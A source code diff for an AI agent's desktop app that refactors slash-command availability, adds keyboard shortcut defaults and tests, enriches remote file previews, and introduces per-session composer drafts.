+ ...(Object.entries(NO_DESKTOP_SURFACE) as [DesktopUnavailableReason, readonly string[]][]).flatMap(
+ ([reason, names]) => names.map(name => ({ name, surface: unavailable(reason) }))
+ )
+]
+
+const SPEC_BY_NAME = new Map(ALL_SPECS.map(spec => [spec.name, spec]))
+
+const ALIAS_TO_CANONICAL = new Map(
+ ALL_SPECS.flatMap(spec => (spec.aliases ?? []).map(alias => [alias, spec.name] as const))
+)
+
+const UNAVAILABLE_MESSAGE: Record string> = {
+ advanced: command =>
+ `${command} is not shown in the desktop slash palette. Use the relevant desktop control or terminal interface instead.`,
+ messaging: command => `${command} is only used from messaging platforms.`,
+ settings: command => `${command} is managed from the desktop sidebar.`,
+ terminal: command => `${command} is only available in the terminal interface.`
+}
+
+const PICKER_UNAVAILABLE_MESSAGE: Record string> = {
+ model: command => `${command} uses the desktop model picker instead of a slash command.`,
+ session: command => `${command} uses the desktop session picker instead of a slash command.`
+}
function normalizeCommand(command: string): string {
const trimmed = command.trim()
@@ -137,27 +188,25 @@ function normalizeCommand(command: string): string {
export function canonicalDesktopSlashCommand(command: string): string {
const normalized = normalizeCommand(command)
- return DESKTOP_ALIASES.get(normalized) || normalized
+ return ALIAS_TO_CANONICAL.get(normalized) || normalized
}
-export function isDesktopSlashCommand(command: string): boolean {
- const normalized = normalizeCommand(command)
- const canonical = canonicalDesktopSlashCommand(normalized)
+/** Resolve a command (or alias) to its desktop spec, or null for unknown/extension commands. */
+export function resolveDesktopCommand(command: string): DesktopCommandSpec | null {
+ return SPEC_BY_NAME.get(canonicalDesktopSlashCommand(command)) ?? null
+}
- if (BLOCKED_COMMANDS.has(normalized) || BLOCKED_COMMANDS.has(canonical)) {
- return false
- }
+function isKnownHermesSlashCommand(command: string): boolean {
+ const normalized = normalizeCommand(command)
- return DESKTOP_COMMANDS.has(canonical) || !isKnownHermesSlashCommand(normalized)
+ return SPEC_BY_NAME.has(normalized) || ALIAS_TO_CANONICAL.has(normalized)
}
/**
* An "extension" command is anything the backend surfaces that is NOT one of
* Hermes' built-in slash commands — i.e. skill commands (`/gif-search`,
* `/codex`, …) and user-defined quick commands. These are user-activated, so
- * they should appear in the desktop slash palette even though they aren't in
- * the curated `DESKTOP_COMMANDS` allow-list. This mirrors the predicate in
- * `isDesktopSlashCommand` that already lets them EXECUTE when typed.
+ * they appear in the desktop slash palette and execute when typed.
*/
export function isDesktopSlashExtensionCommand(command: string): boolean {
const normalized = normalizeCommand(command)
@@ -169,63 +218,85 @@ export function isDesktopSlashExtensionCommand(command: string): boolean {
return !isKnownHermesSlashCommand(normalized)
}
+/** Gates execution: true unless the command is a known no-desktop-surface command. */
+export function isDesktopSlashCommand(command: string): boolean {
+ const spec = resolveDesktopCommand(command)
+
+ if (spec) {
+ return spec.surface.kind !== 'unavailable'
+ }
+
+ return isDesktopSlashExtensionCommand(command)
+}
+
+/** Gates discovery in the popover/completions. */
export function isDesktopSlashSuggestion(command: string): boolean {
const normalized = normalizeCommand(command)
- const canonical = canonicalDesktopSlashCommand(normalized)
- // Surface skill / quick commands (extensions the backend provides) alongside
- // the curated built-ins. Built-in aliases stay hidden so the popover isn't
- // cluttered with duplicates.
- if (isDesktopSlashExtensionCommand(normalized)) {
- return true
+ // Aliases stay hidden so the popover isn't cluttered with duplicates.
+ if (ALIAS_TO_CANONICAL.has(normalized)) {
+ return false
}
- return DESKTOP_COMMANDS.has(canonical) && !DESKTOP_ALIASES.has(normalized)
+ const spec = SPEC_BY_NAME.get(normalized)
+
+ if (spec) {
+ return spec.surface.kind !== 'unavailable' && !spec.hidden
+ }
+
+ // Skill / quick commands the backend provides.
+ return isDesktopSlashExtensionCommand(normalized)
}
/**
- * True for commands the desktop fulfils by opening the model picker overlay
- * (e.g. `/model`) rather than executing a slash command. The caller opens the
- * picker UI instead of printing the "uses the desktop model picker" notice.
+ * True for commands the desktop fulfils by opening an overlay picker
+ * (`/model`, `/resume`/`/sessions`/`/switch`). Optionally pin to one picker.
*/
-export function isModelPickerCommand(command: string): boolean {
- const normalized = normalizeCommand(command)
- const canonical = canonicalDesktopSlashCommand(normalized)
+export function isPickerCommand(command: string, picker?: DesktopPickerId): boolean {
+ const surface = resolveDesktopCommand(command)?.surface
- return PICKER_OWNED_COMMANDS.has(canonical)
-}
+ if (surface?.kind !== 'picker') {
+ return false
+ }
-export function desktopSlashUnavailableMessage(command: string): string | null {
- const normalized = normalizeCommand(command)
- const canonical = canonicalDesktopSlashCommand(normalized)
+ return picker ? surface.picker === picker : true
+}
- if (PICKER_OWNED_COMMANDS.has(canonical)) {
- return `/${canonical.slice(1)} uses the desktop model picker instead of a slash command.`
- }
+/** Back-compat shim for the model picker check. */
+export function isModelPickerCommand(command: string): boolean {
+ return isPickerCommand(command, 'model')
+}
- if (SETTINGS_OWNED_COMMANDS.has(canonical)) {
- return `/${canonical.slice(1)} is managed from the desktop sidebar.`
- }
+export function desktopSlashUnavailableMessage(command: string): string | null {
+ const canonical = canonicalDesktopSlashCommand(command)
+ const surface = SPEC_BY_NAME.get(canonical)?.surface
- if (MESSAGING_ONLY_COMMANDS.has(canonical)) {
- return `/${canonical.slice(1)} is only used from messaging platforms.`
+ if (!surface) {
+ return null
}
- if (ADVANCED_COMMANDS.has(canonical)) {
- return `/${canonical.slice(1)} is not shown in the desktop slash palette. Use the relevant desktop control or terminal interface instead.`
+ if (surface.kind === 'unavailable') {
+ return UNAVAILABLE_MESSAGE[surface.reason](canonical)
}
- if (TERMINAL_ONLY_COMMANDS.has(normalized) || TERMINAL_ONLY_COMMANDS.has(canonical)) {
- return `/${canonical.slice(1)} is only available in the terminal interface.`
+ if (surface.kind === 'picker') {
+ return PICKER_UNAVAILABLE_MESSAGE[surface.picker](canonical)
}
return null
}
export function desktopSlashDescription(command: string, fallback = ''): string {
- const canonical = canonicalDesktopSlashCommand(command)
+ return SPEC_BY_NAME.get(canonicalDesktopSlashCommand(command))?.description || fallback
+}
- return DESKTOP_COMMAND_DESCRIPTIONS.get(canonical) || fallback
+/**
+ * True when picking the bare command should expand to its inline argument
+ * options (theme / personality / session / platform / toolset) rather than
+ * committing immediately. Lets the popover act as a two-step picker.
+ */
+export function desktopSlashCommandTakesArgs(command: string): boolean {
+ return resolveDesktopCommand(command)?.args ?? false
}
export function desktopSkinSlashCompletions(
@@ -274,13 +345,36 @@ export function filterDesktopCommandsCatalog(catalog: CommandsCatalogLike): Comm
?.filter(([command]) => isDesktopSlashSuggestion(command))
.map(([command, description]) => [command, desktopSlashDescription(command, description)] as [string, string])
+ // Recount skill commands from the filtered output so /help's footer reflects
+ // what the user actually sees. Backend's skill_count includes commands the
+ // desktop hides (terminal-only, picker-owned, advanced), producing a footer
+ // like "60 skill commands available" while only ~29 appear in the list.
+ const filteredCommands = new Set()
+
+ for (const section of categories ?? []) {
+ for (const [command] of section.pairs) {
+ filteredCommands.add(canonicalDesktopSlashCommand(command))
+ }
+ }
+
+ for (const [command] of pairs ?? []) {
+ filteredCommands.add(canonicalDesktopSlashCommand(command))
+ }
+
+ let skillCount = 0
+
+ for (const command of filteredCommands) {
+ if (isDesktopSlashExtensionCommand(command)) {
+ skillCount += 1
+ }
+ }
+
+ const hasSkillCount = catalog.skill_count !== undefined || skillCount > 0
+
return {
...catalog,
...(categories ? { categories } : {}),
- ...(pairs ? { pairs } : {})
+ ...(pairs ? { pairs } : {}),
+ ...(hasSkillCount ? { skill_count: skillCount } : {})
}
}
-
-function isKnownHermesSlashCommand(command: string): boolean {
- return DESKTOP_COMMANDS.has(command) || DESKTOP_ALIASES.has(command) || BLOCKED_COMMANDS.has(command)
-}
diff --git a/apps/desktop/src/lib/keybinds/actions.ts b/apps/desktop/src/lib/keybinds/actions.ts
index 1e339db3cdee..7c4a83f61aa0 100644
--- a/apps/desktop/src/lib/keybinds/actions.ts
+++ b/apps/desktop/src/lib/keybinds/actions.ts
@@ -13,13 +13,7 @@ export const KEYBIND_PANEL_ACTION = 'keybinds.openPanel'
// `composer` is read-only; the rest are rebindable. `view` is the catch-all for
// layout, appearance, and the panel-opener.
-export const KEYBIND_CATEGORIES: readonly KeybindCategory[] = [
- 'composer',
- 'profiles',
- 'session',
- 'navigation',
- 'view'
-]
+export const KEYBIND_CATEGORIES: readonly KeybindCategory[] = ['composer', 'profiles', 'session', 'navigation', 'view']
export interface KeybindActionMeta {
id: string
@@ -43,6 +37,20 @@ const PROFILE_SWITCH_ACTIONS: KeybindActionMeta[] = Array.from({ length: PROFILE
defaults: [comboForSlot(i + 1)]
}))
+// ⌘` on macOS / Ctrl+` elsewhere (the `~` key), plus the Shift/tilde variant.
+// `mod` keeps one binding cross-platform; on macOS this shadows the system
+// window-cycler, which is fine for a single-window app.
+const TERMINAL_TOGGLE_DEFAULTS = ['mod+`', 'mod+shift+`']
+
+// Positional jumps — ^1…^9, mirroring profiles' ⌘1…⌘9.
+export const SESSION_SLOT_COUNT = 9
+
+const SESSION_SLOT_ACTIONS: KeybindActionMeta[] = Array.from({ length: SESSION_SLOT_COUNT }, (_, i) => ({
+ id: `session.slot.${i + 1}`,
+ category: 'session' as const,
+ defaults: [`ctrl+${i + 1}`]
+}))
+
export const KEYBIND_ACTIONS: readonly KeybindActionMeta[] = [
// ── Composer ─────────────────────────────────────────────────────────────
{ id: 'composer.focus', category: 'composer', defaults: [] },
@@ -58,8 +66,11 @@ export const KEYBIND_ACTIONS: readonly KeybindActionMeta[] = [
// ── Session ──────────────────────────────────────────────────────────────
{ id: 'session.new', category: 'session', defaults: ['mod+n', 'shift+n'] },
- { id: 'session.next', category: 'session', defaults: [] },
- { id: 'session.prev', category: 'session', defaults: [] },
+ // ⌃Tab / ⌃⇧Tab — the universal tab-cycle chord. Literally Control, not Cmd
+ // (macOS reserves Cmd+Tab for app switching); see `ctrl` in combo.ts.
+ { id: 'session.next', category: 'session', defaults: ['ctrl+tab'] },
+ { id: 'session.prev', category: 'session', defaults: ['ctrl+shift+tab'] },
+ ...SESSION_SLOT_ACTIONS,
{ id: 'session.focusSearch', category: 'session', defaults: ['mod+shift+f'] },
{ id: 'session.togglePin', category: 'session', defaults: [] },
@@ -78,7 +89,7 @@ export const KEYBIND_ACTIONS: readonly KeybindActionMeta[] = [
{ id: 'view.toggleSidebar', category: 'view', defaults: ['mod+b'] },
{ id: 'view.toggleRightSidebar', category: 'view', defaults: ['mod+j'] },
{ id: 'view.showFiles', category: 'view', defaults: [] },
- { id: 'view.showTerminal', category: 'view', defaults: [] },
+ { id: 'view.showTerminal', category: 'view', defaults: TERMINAL_TOGGLE_DEFAULTS },
// ⌘\ — the backslash reads like a mirror line flipping the layout.
{ id: 'view.flipPanes', category: 'view', defaults: ['mod+\\'] },
{ id: 'appearance.toggleMode', category: 'view', defaults: ['shift+x'] },
diff --git a/apps/desktop/src/lib/keybinds/combo.test.ts b/apps/desktop/src/lib/keybinds/combo.test.ts
new file mode 100644
index 000000000000..b7452fd6c46d
--- /dev/null
+++ b/apps/desktop/src/lib/keybinds/combo.test.ts
@@ -0,0 +1,86 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+// `IS_MAC` is resolved once at module load from `navigator`, so each platform
+// case overrides the platform and re-imports the module fresh.
+async function loadCombo(platform: string) {
+ Object.defineProperty(window.navigator, 'platform', { value: platform, configurable: true })
+ vi.resetModules()
+
+ return import('./combo')
+}
+
+function keydown(init: KeyboardEventInit): KeyboardEvent {
+ return new KeyboardEvent('keydown', init)
+}
+
+afterEach(() => {
+ vi.resetModules()
+})
+
+describe('comboFromEvent — ctrl as a distinct modifier on macOS', () => {
+ it('reports Control+Tab as "ctrl+tab" on macOS (not Cmd)', async () => {
+ const { comboFromEvent } = await loadCombo('MacIntel')
+
+ expect(comboFromEvent(keydown({ code: 'Tab', ctrlKey: true }))).toBe('ctrl+tab')
+ expect(comboFromEvent(keydown({ code: 'Tab', ctrlKey: true, shiftKey: true }))).toBe('ctrl+shift+tab')
+ })
+
+ it('keeps Cmd as "mod" and distinct from Control on macOS', async () => {
+ const { comboFromEvent } = await loadCombo('MacIntel')
+
+ expect(comboFromEvent(keydown({ code: 'KeyK', metaKey: true }))).toBe('mod+k')
+ expect(comboFromEvent(keydown({ code: 'KeyK', ctrlKey: true }))).toBe('ctrl+k')
+ })
+
+ it('treats Control as the "mod" accelerator off macOS', async () => {
+ const { comboFromEvent } = await loadCombo('Win32')
+
+ expect(comboFromEvent(keydown({ code: 'Tab', ctrlKey: true }))).toBe('mod+tab')
+ expect(comboFromEvent(keydown({ code: 'Tab', ctrlKey: true, shiftKey: true }))).toBe('mod+shift+tab')
+ })
+})
+
+describe('canonicalizeCombo', () => {
+ it('leaves "ctrl+…" untouched on macOS', async () => {
+ const { canonicalizeCombo } = await loadCombo('MacIntel')
+
+ expect(canonicalizeCombo('ctrl+tab')).toBe('ctrl+tab')
+ expect(canonicalizeCombo('ctrl+shift+tab')).toBe('ctrl+shift+tab')
+ })
+
+ it('folds "ctrl+…" to "mod+…" off macOS so a real Control press resolves', async () => {
+ const { canonicalizeCombo } = await loadCombo('Win32')
+
+ expect(canonicalizeCombo('ctrl+tab')).toBe('mod+tab')
+ expect(canonicalizeCombo('ctrl+shift+tab')).toBe('mod+shift+tab')
+ // Non-ctrl combos are unchanged.
+ expect(canonicalizeCombo('mod+k')).toBe('mod+k')
+ })
+})
+
+describe('formatCombo — honest Control labels', () => {
+ it('renders the Control glyph on macOS', async () => {
+ const { formatCombo } = await loadCombo('MacIntel')
+
+ expect(formatCombo('ctrl+tab')).toBe('⌃⇥')
+ expect(formatCombo('ctrl+shift+tab')).toBe('⌃⇧⇥')
+ })
+
+ it('renders "Ctrl+…" off macOS (base key keeps its glyph)', async () => {
+ const { formatCombo } = await loadCombo('Win32')
+
+ expect(formatCombo('ctrl+tab')).toBe('Ctrl+⇥')
+ expect(formatCombo('ctrl+shift+tab')).toBe('Ctrl+Shift+⇥')
+ })
+})
+
+describe('comboAllowedInInput', () => {
+ it('lets ctrl combos fire while typing (e.g. ⌃Tab from the composer)', async () => {
+ const { comboAllowedInInput } = await loadCombo('MacIntel')
+
+ expect(comboAllowedInInput('ctrl+tab')).toBe(true)
+ expect(comboAllowedInInput('ctrl+shift+tab')).toBe(true)
+ expect(comboAllowedInInput('mod+k')).toBe(true)
+ expect(comboAllowedInInput('shift+x')).toBe(false)
+ })
+})
diff --git a/apps/desktop/src/lib/keybinds/combo.ts b/apps/desktop/src/lib/keybinds/combo.ts
index a348ca4ee196..b203ded952d7 100644
--- a/apps/desktop/src/lib/keybinds/combo.ts
+++ b/apps/desktop/src/lib/keybinds/combo.ts
@@ -4,9 +4,13 @@
// or "r". `mod` is Cmd on macOS / Ctrl elsewhere, so a single binding works on
// both. We derive the base key from `event.code` (not `event.key`) so Shift never
// mutates it ("shift+/" stays "shift+/" instead of becoming "shift+?").
+//
+// `ctrl` is physical Control, distinct from `mod`. It only matters on macOS,
+// where `mod` is Cmd and Cmd+Tab is OS-reserved — so `ctrl+tab` is literally
+// Control+Tab. Off macOS, Control already *is* `mod`, so `canonicalizeCombo`
+// folds `ctrl` → `mod`.
-export const IS_MAC =
- typeof navigator !== 'undefined' && /mac/i.test(navigator.platform || navigator.userAgent || '')
+export const IS_MAC = typeof navigator !== 'undefined' && /mac/i.test(navigator.platform || navigator.userAgent || '')
// event.code → canonical base token. Letters/digits map to their lowercase
// character; everything else uses an explicit name so combos read cleanly.
@@ -81,10 +85,16 @@ export function comboFromEvent(event: KeyboardEvent): string | null {
const parts: string[] = []
- if (event.metaKey || event.ctrlKey) {
+ // macOS reports Cmd (`mod`) and Control (`ctrl`) separately; elsewhere
+ // Control IS the accelerator, so it folds into `mod`.
+ if (event.metaKey || (event.ctrlKey && !IS_MAC)) {
parts.push('mod')
}
+ if (event.ctrlKey && IS_MAC) {
+ parts.push('ctrl')
+ }
+
if (event.altKey) {
parts.push('alt')
}
@@ -98,6 +108,13 @@ export function comboFromEvent(event: KeyboardEvent): string | null {
return parts.join('+')
}
+// Rewrites a binding to the form `comboFromEvent` emits, so it indexes under
+// the same key a live keypress produces. Off macOS, `ctrl+…` and `mod+…` are
+// the one Control chord, so a shipped `ctrl+tab` matches a real Control+Tab.
+export function canonicalizeCombo(combo: string): string {
+ return IS_MAC ? combo : combo.replace(/\bctrl\b/g, 'mod')
+}
+
const TOKEN_LABELS: Record = {
enter: '↵',
escape: 'Esc',
@@ -122,29 +139,38 @@ function labelForBase(base: string): string {
return base.length === 1 ? base.toUpperCase() : base
}
-// Human-readable label, e.g. "⌘⇧K" on macOS, "Ctrl+Shift+K" elsewhere.
-export function formatCombo(combo: string): string {
- const parts = combo.split('+')
- const base = parts.pop() ?? ''
- const mods = parts
+function labelForMod(mod: string): string {
+ if (mod === 'mod') {
+ return IS_MAC ? '⌘' : 'Ctrl'
+ }
- const modLabels = mods.map(mod => {
- if (mod === 'mod') {
- return IS_MAC ? '⌘' : 'Ctrl'
- }
+ if (mod === 'ctrl') {
+ return IS_MAC ? '⌃' : 'Ctrl'
+ }
- if (mod === 'alt') {
- return IS_MAC ? '⌥' : 'Alt'
- }
+ if (mod === 'alt') {
+ return IS_MAC ? '⌥' : 'Alt'
+ }
+
+ if (mod === 'shift') {
+ return IS_MAC ? '⇧' : 'Shift'
+ }
+
+ return mod
+}
- if (mod === 'shift') {
- return IS_MAC ? '⇧' : 'Shift'
- }
+// Per-key display tokens, e.g. ["⌘", "K"] on macOS, ["Ctrl", "K"] elsewhere —
+// one cap per token for .
+export function comboTokens(combo: string): string[] {
+ const parts = combo.split('+')
+ const base = parts.pop() ?? ''
- return mod
- })
+ return [...parts.map(labelForMod), labelForBase(base)]
+}
- const tokens = [...modLabels, labelForBase(base)]
+// Human-readable label, e.g. "⌘⇧K" on macOS, "Ctrl+Shift+K" elsewhere.
+export function formatCombo(combo: string): string {
+ const tokens = comboTokens(combo)
return IS_MAC ? tokens.join('') : tokens.join('+')
}
@@ -156,14 +182,14 @@ export function isEditableTarget(target: EventTarget | null): boolean {
return Boolean(
el?.isContentEditable ||
- el instanceof HTMLInputElement ||
- el instanceof HTMLTextAreaElement ||
- el instanceof HTMLSelectElement
+ el instanceof HTMLInputElement ||
+ el instanceof HTMLTextAreaElement ||
+ el instanceof HTMLSelectElement
)
}
-// Combos with a primary modifier (Cmd/Ctrl) are safe to fire even while typing
-// (e.g. ⌘K from the composer); bare/Shift-only combos are suppressed in inputs.
+// A primary modifier (Cmd/Ctrl/Control) fires even while typing (e.g. ⌘K or
+// ⌃Tab from the composer); bare/Shift-only combos are suppressed in inputs.
export function comboAllowedInInput(combo: string): boolean {
- return combo.startsWith('mod+') || combo === 'mod'
+ return /^(?:mod|ctrl)(?:\+|$)/.test(combo)
}
diff --git a/apps/desktop/src/lib/local-preview.ts b/apps/desktop/src/lib/local-preview.ts
index 6c181699901e..ede9a1cab97e 100644
--- a/apps/desktop/src/lib/local-preview.ts
+++ b/apps/desktop/src/lib/local-preview.ts
@@ -1,3 +1,4 @@
+import { isDesktopFsRemoteMode, readDesktopFileText } from '@/lib/desktop-fs'
import type { PreviewTarget } from '@/store/preview'
const HTML_EXTENSIONS = new Set(['.htm', '.html'])
@@ -107,6 +108,26 @@ export function localPreviewTarget(rawTarget: string, cwd?: string | null): Prev
}
}
+async function enrichPreviewTarget(target: PreviewTarget | null): Promise {
+ if (!isDesktopFsRemoteMode() || !target || target.kind !== 'file' || target.previewKind === 'image') {
+ return target
+ }
+
+ try {
+ const result = await readDesktopFileText(target.path || target.source)
+ return {
+ ...target,
+ binary: result.binary,
+ byteSize: result.byteSize,
+ language: result.language || target.language,
+ large: (result.byteSize ?? 0) > 512 * 1024,
+ mimeType: result.mimeType
+ }
+ } catch {
+ return target
+ }
+}
+
export async function normalizeOrLocalPreviewTarget(
rawTarget: string,
cwd?: string | null
@@ -115,12 +136,12 @@ export async function normalizeOrLocalPreviewTarget(
const normalized = await window.hermesDesktop?.normalizePreviewTarget?.(rawTarget, cwd || undefined)
if (normalized) {
- return normalized
+ return enrichPreviewTarget(normalized)
}
} catch {
// Running Electron may still have the old HTML-only preview IPC. Fall
// through to renderer-side local classification so text/images still open.
}
- return localPreviewTarget(rawTarget, cwd)
+ return enrichPreviewTarget(localPreviewTarget(rawTarget, cwd))
}
diff --git a/apps/desktop/src/lib/model-status-label.test.ts b/apps/desktop/src/lib/model-status-label.test.ts
index 6c0bac9129d1..58c03a3f1229 100644
--- a/apps/desktop/src/lib/model-status-label.test.ts
+++ b/apps/desktop/src/lib/model-status-label.test.ts
@@ -5,6 +5,8 @@ import { displayModelName, formatModelStatusLabel, reasoningEffortLabel } from '
describe('model-status-label', () => {
it('formats display names consistently', () => {
expect(displayModelName('anthropic/claude-opus-4.8-fast')).toBe('Opus 4.8')
+ expect(displayModelName('openai/gpt-5.5-fast')).toBe('GPT-5.5')
+ expect(displayModelName('deepseek/deepseek-v4-pro-thinking')).toBe('Deepseek V4 Pro')
expect(displayModelName('openai/gpt-5.5')).toBe('GPT-5.5')
})
diff --git a/apps/desktop/src/lib/session-export.ts b/apps/desktop/src/lib/session-export.ts
index b32a705b7eb0..8aa31c695cb4 100644
--- a/apps/desktop/src/lib/session-export.ts
+++ b/apps/desktop/src/lib/session-export.ts
@@ -5,6 +5,7 @@ import { notify, notifyError } from '@/store/notifications'
interface ExportSessionParams {
sessionId: string
+ profile?: string | null
title?: string | null
session?: SessionInfo
}
@@ -31,7 +32,8 @@ export async function exportSession(sessionId: string, params: Omit = {
whatsapp: ['wa']
}
+// Sources that run on the local machine rather than an external messaging
+// platform. A handoff *from* one of these isn't a platform origin worth a badge.
+// Exported so the recents fetch can keep these in the main list while the
+// messaging fetch excludes them.
+export const LOCAL_SESSION_SOURCE_IDS = ['cli', 'codex', 'desktop', 'gateway', 'local', 'tui']
+const LOCAL_SOURCE_IDS = new Set(LOCAL_SESSION_SOURCE_IDS)
+
+// External messaging platforms that each get their own self-managed sidebar
+// section (fetched separately from local recents). Mirrors the gateway platform
+// adapters; keep in sync with PLATFORM_ICONS in app/messaging/platform-icon.tsx.
+export const MESSAGING_SESSION_SOURCE_IDS = [
+ 'telegram',
+ 'discord',
+ 'slack',
+ 'mattermost',
+ 'matrix',
+ 'signal',
+ 'whatsapp',
+ 'bluebubbles',
+ 'homeassistant',
+ 'email',
+ 'sms',
+ 'webhook',
+ 'api_server',
+ 'weixin',
+ 'wecom',
+ 'qqbot',
+ 'yuanbao',
+ 'dingtalk',
+ 'feishu'
+]
+const MESSAGING_SOURCE_IDS = new Set(MESSAGING_SESSION_SOURCE_IDS)
+
+/** True when a source id is an external messaging platform (gets its own
+ * sidebar section) rather than a local/CLI/desktop session. */
+export function isMessagingSource(source: null | string | undefined): boolean {
+ const id = normalizeSessionSource(source)
+
+ return id != null && MESSAGING_SOURCE_IDS.has(id)
+}
+
export function normalizeSessionSource(source: null | string | undefined): string | null {
const id = source?.trim().toLowerCase()
return id || null
}
+/**
+ * Resolve the origin messaging platform for a handed-off session. Returns the
+ * normalized platform id (e.g. 'telegram') when the session completed a handoff
+ * from a real messaging platform, otherwise null. After a handoff the live
+ * source is local, so this is what drives the row's origin-platform badge.
+ */
+export function handoffOriginSource(
+ handoffState: null | string | undefined,
+ handoffPlatform: null | string | undefined
+): string | null {
+ if (handoffState !== 'completed') {
+ return null
+ }
+
+ const id = normalizeSessionSource(handoffPlatform)
+
+ if (!id || LOCAL_SOURCE_IDS.has(id)) {
+ return null
+ }
+
+ return id
+}
+
export function sessionSourceLabel(source: null | string | undefined): string | null {
const id = normalizeSessionSource(source)
diff --git a/apps/desktop/src/store/composer.test.ts b/apps/desktop/src/store/composer.test.ts
new file mode 100644
index 000000000000..08bbb391c950
--- /dev/null
+++ b/apps/desktop/src/store/composer.test.ts
@@ -0,0 +1,106 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import {
+ $composerAttachments,
+ addComposerAttachment,
+ clearSessionDraft,
+ type ComposerAttachment,
+ removeComposerAttachment,
+ SESSION_DRAFTS_STORAGE_KEY,
+ stashSessionDraft,
+ takeSessionDraft,
+ updateComposerAttachment
+} from './composer'
+
+function attachment(overrides: Partial & Pick): ComposerAttachment {
+ return { kind: 'file', label: 'doc.pdf', ...overrides }
+}
+
+describe('updateComposerAttachment', () => {
+ afterEach(() => {
+ $composerAttachments.set([])
+ })
+
+ it('replaces an existing attachment in place', () => {
+ addComposerAttachment(attachment({ id: 'file:a', uploadState: 'uploading' }))
+
+ const updated = updateComposerAttachment(attachment({ id: 'file:a', attachedSessionId: 'sess-1' }))
+
+ expect(updated).toBe(true)
+ const current = $composerAttachments.get()
+ expect(current).toHaveLength(1)
+ expect(current[0]?.attachedSessionId).toBe('sess-1')
+ expect(current[0]?.uploadState).toBeUndefined()
+ })
+
+ it('does NOT resurrect an attachment the user removed mid-upload', () => {
+ // Drop → eager upload starts → user removes the chip → upload resolves.
+ // The late success must not re-add the removed attachment.
+ addComposerAttachment(attachment({ id: 'file:a', uploadState: 'uploading' }))
+ removeComposerAttachment('file:a')
+
+ const updated = updateComposerAttachment(attachment({ id: 'file:a', attachedSessionId: 'sess-1' }))
+
+ expect(updated).toBe(false)
+ expect($composerAttachments.get()).toHaveLength(0)
+ })
+})
+
+describe('session drafts', () => {
+ afterEach(() => {
+ for (const scope of ['session-a', 'session-b', null]) {
+ clearSessionDraft(scope)
+ }
+
+ window.localStorage.clear()
+ })
+
+ it('keeps drafts isolated per session scope', () => {
+ stashSessionDraft('session-a', 'draft a', [])
+ stashSessionDraft('session-b', 'draft b', [attachment({ id: 'image:b', kind: 'image' })])
+
+ expect(takeSessionDraft('session-a')).toEqual({ attachments: [], text: 'draft a' })
+ expect(takeSessionDraft('session-b').text).toBe('draft b')
+ expect(takeSessionDraft('session-b').attachments.map(a => a.id)).toEqual(['image:b'])
+ })
+
+ it('scopes the unsaved new-session draft separately from real sessions', () => {
+ stashSessionDraft(null, 'new chat draft', [])
+ stashSessionDraft('session-a', 'session draft', [])
+
+ expect(takeSessionDraft(null).text).toBe('new chat draft')
+ expect(takeSessionDraft(undefined).text).toBe('new chat draft')
+ expect(takeSessionDraft('session-a').text).toBe('session draft')
+ })
+
+ it('persists draft text (not attachments) to localStorage', () => {
+ stashSessionDraft('session-a', 'survives reload', [attachment({ id: 'file:a' })])
+
+ const persisted = JSON.parse(window.localStorage.getItem(SESSION_DRAFTS_STORAGE_KEY) ?? '{}') as Record
+
+ expect(persisted['session-a']).toBe('survives reload')
+ })
+
+ it('evicts empty drafts instead of leaving stale entries behind', () => {
+ stashSessionDraft('session-a', 'saved', [])
+ stashSessionDraft('session-a', ' ', [])
+
+ expect(takeSessionDraft('session-a')).toEqual({ attachments: [], text: '' })
+ })
+
+ it('clears a stashed draft after an accepted submit', () => {
+ stashSessionDraft('session-a', 'sent prompt', [attachment({ id: 'file:a' })])
+ clearSessionDraft('session-a')
+
+ expect(takeSessionDraft('session-a')).toEqual({ attachments: [], text: '' })
+ })
+
+ it('returns clones so callers cannot mutate the stash', () => {
+ stashSessionDraft('session-a', 'draft', [attachment({ id: 'file:a' })])
+
+ const taken = takeSessionDraft('session-a')
+ taken.attachments[0]!.label = 'mutated'
+
+ expect(takeSessionDraft('session-a').attachments[0]?.label).toBe('doc.pdf')
+ })
+})
diff --git a/apps/desktop/src/store/composer.ts b/apps/desktop/src/store/composer.ts
index f986de9802f1..c40cf867735b 100644
--- a/apps/desktop/src/store/composer.ts
+++ b/apps/desktop/src/store/composer.ts
@@ -11,12 +11,94 @@ export interface ComposerAttachment {
previewUrl?: string
path?: string
attachedSessionId?: string
+ /** Set while the file/image bytes are being staged into the session
+ * workspace (remote upload or local stage), and 'error' if that failed.
+ * Drives the spinner / error state on the composer attachment card. */
+ uploadState?: 'uploading' | 'error'
}
export const $composerDraft = atom('')
export const $composerAttachments = atom([])
export const $composerTerminalSelections = atom>({})
+// Per-thread draft stash for the decoupled composer. Session lifecycle never
+// touches this — only ChatBar's scope swap reads/writes it. Text mirrors to
+// localStorage; attachments are memory-only (blobs, upload state).
+export const SESSION_DRAFTS_STORAGE_KEY = 'hermes:composer-drafts:v3'
+
+const NEW_SESSION_DRAFT_KEY = '__new__'
+const MAX_PERSISTED_DRAFTS = 50
+const EMPTY_SESSION_DRAFT: SessionDraft = { attachments: [], text: '' }
+
+export interface SessionDraft {
+ attachments: ComposerAttachment[]
+ text: string
+}
+
+const draftKey = (scope: string | null | undefined) => scope?.trim() || NEW_SESSION_DRAFT_KEY
+
+const cloneDraft = (draft: SessionDraft): SessionDraft => ({
+ attachments: draft.attachments.map(attachment => ({ ...attachment })),
+ text: draft.text
+})
+
+function loadPersistedDraftTexts(): [string, SessionDraft][] {
+ try {
+ const raw = window.localStorage.getItem(SESSION_DRAFTS_STORAGE_KEY)
+
+ if (!raw) {
+ return []
+ }
+
+ return Object.entries(JSON.parse(raw) as Record).map(([key, text]) => [
+ key,
+ { attachments: [], text }
+ ])
+ } catch {
+ return []
+ }
+}
+
+const draftsBySession = new Map(loadPersistedDraftTexts())
+
+function persistDraftTexts() {
+ try {
+ const entries = [...draftsBySession]
+ .filter(([, draft]) => draft.text)
+ .slice(-MAX_PERSISTED_DRAFTS)
+ .map(([key, draft]) => [key, draft.text] as const)
+
+ if (entries.length === 0) {
+ window.localStorage.removeItem(SESSION_DRAFTS_STORAGE_KEY)
+ } else {
+ window.localStorage.setItem(SESSION_DRAFTS_STORAGE_KEY, JSON.stringify(Object.fromEntries(entries)))
+ }
+ } catch {
+ // Best-effort only — quota/private-mode must never break typing.
+ }
+}
+
+export function stashSessionDraft(scope: string | null | undefined, text: string, attachments: ComposerAttachment[]) {
+ const key = draftKey(scope)
+
+ // Delete-then-set keeps MRU order for MAX_PERSISTED_DRAFTS eviction.
